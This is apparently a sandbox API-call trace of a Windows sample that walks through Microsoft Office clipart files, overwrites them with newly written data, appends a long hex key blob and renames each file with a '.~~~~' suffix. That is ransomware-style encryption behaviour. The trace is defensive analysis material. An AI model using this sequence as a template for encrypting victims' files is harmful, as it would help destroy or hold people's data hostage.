	[0106.230] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.230] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.230] CloseHandle (hObject=0x130) returned 1
	[0106.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.231] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf.~~~~")) returned 1
	[0106.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.232] GetLastError () returned 0x0
	[0106.232] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.233] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.233] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.233] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22622334598) returned 1
	[0106.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa8ff3690, dwHighDateTime=0x1d60e1e)) 
	[0106.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d5c8
	[0106.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d5c8 | out: hHeap=0x300000) returned 1
	[0106.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872690
	[0106.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.234] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.234] GetLastError () returned 0x0
	[0106.234] GetLastError () returned 0x0
	[0106.234] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.234] GetLastError () returned 0x0
	[0106.235] GetLastError () returned 0x0
	[0106.237] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff96a8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.237] WriteFile (in: hFile=0x130, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x6958, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x26dfec0*=0x6958, lpOverlapped=0x0) returned 1
	[0106.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0106.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.238] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.238] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.238] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.238] CloseHandle (hObject=0x130) returned 1
	[0106.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.238] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf.~~~~")) returned 1
	[0106.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.239] GetLastError () returned 0x0
	[0106.240] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.241] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.241] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.241] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22623175914) returned 1
	[0106.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa8ff3690, dwHighDateTime=0x1d60e1e)) 
	[0106.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d600
	[0106.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d600 | out: hHeap=0x300000) returned 1
	[0106.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872be8
	[0106.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.242] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.243] GetLastError () returned 0x0
	[0106.243] GetLastError () returned 0x0
	[0106.243] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.243] GetLastError () returned 0x0
	[0106.243] GetLastError () returned 0x0
	[0106.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffeeff4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.245] WriteFile (in: hFile=0x130, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x1100c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x26dfec0*=0x1100c, lpOverlapped=0x0) returned 1
	[0106.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0106.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.247] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.247] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.247] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.247] CloseHandle (hObject=0x130) returned 1
	[0106.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.247] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf.~~~~")) returned 1
	[0106.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.248] GetLastError () returned 0x0
	[0106.249] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.251] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.251] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.251] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22624090713) returned 1
	[0106.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa90197f0, dwHighDateTime=0x1d60e1e)) 
	[0106.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d638
	[0106.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d638 | out: hHeap=0x300000) returned 1
	[0106.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872c80
	[0106.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.252] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.252] GetLastError () returned 0x0
	[0106.252] GetLastError () returned 0x0
	[0106.252] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.252] GetLastError () returned 0x0
	[0106.252] GetLastError () returned 0x0
	[0106.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff51e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.267] WriteFile (in: hFile=0x130, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0xae2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x26dfec0*=0xae2, lpOverlapped=0x0) returned 1
	[0106.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0106.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.268] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.268] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.268] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.268] CloseHandle (hObject=0x130) returned 1
	[0106.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.268] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf.~~~~")) returned 1
	[0106.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.269] GetLastError () returned 0x0
	[0106.270] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.271] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0106.271] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0106.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.272] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22626166939) returned 1
	[0106.272] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa903f950, dwHighDateTime=0x1d60e1e)) 
	[0106.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d6e0
	[0106.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d6e0 | out: hHeap=0x300000) returned 1
	[0106.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872d18
	[0106.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.272] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.273] GetLastError () returned 0x0
	[0106.273] GetLastError () returned 0x0
	[0106.273] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.273] GetLastError () returned 0x0
	[0106.273] GetLastError () returned 0x0
	[0106.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffbcd0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.311] WriteFile (in: hFile=0x130, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x26dfec0*=0x4330, lpOverlapped=0x0) returned 1
	[0106.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0106.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.312] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.312] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.312] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.313] CloseHandle (hObject=0x130) returned 1
	[0106.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.313] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf.~~~~")) returned 1
	[0106.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.314] GetLastError () returned 0x0
	[0106.314] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.315] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.315] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.316] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22630579141) returned 1
	[0106.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa90b1d70, dwHighDateTime=0x1d60e1e)) 
	[0106.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d788
	[0106.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d788 | out: hHeap=0x300000) returned 1
	[0106.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872ee0
	[0106.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.316] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.317] GetLastError () returned 0x0
	[0106.317] GetLastError () returned 0x0
	[0106.317] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.317] GetLastError () returned 0x0
	[0106.317] GetLastError () returned 0x0
	[0106.328] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff4a4c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.328] WriteFile (in: hFile=0x130, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0xb5b4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x26dfec0*=0xb5b4, lpOverlapped=0x0) returned 1
	[0106.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0106.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
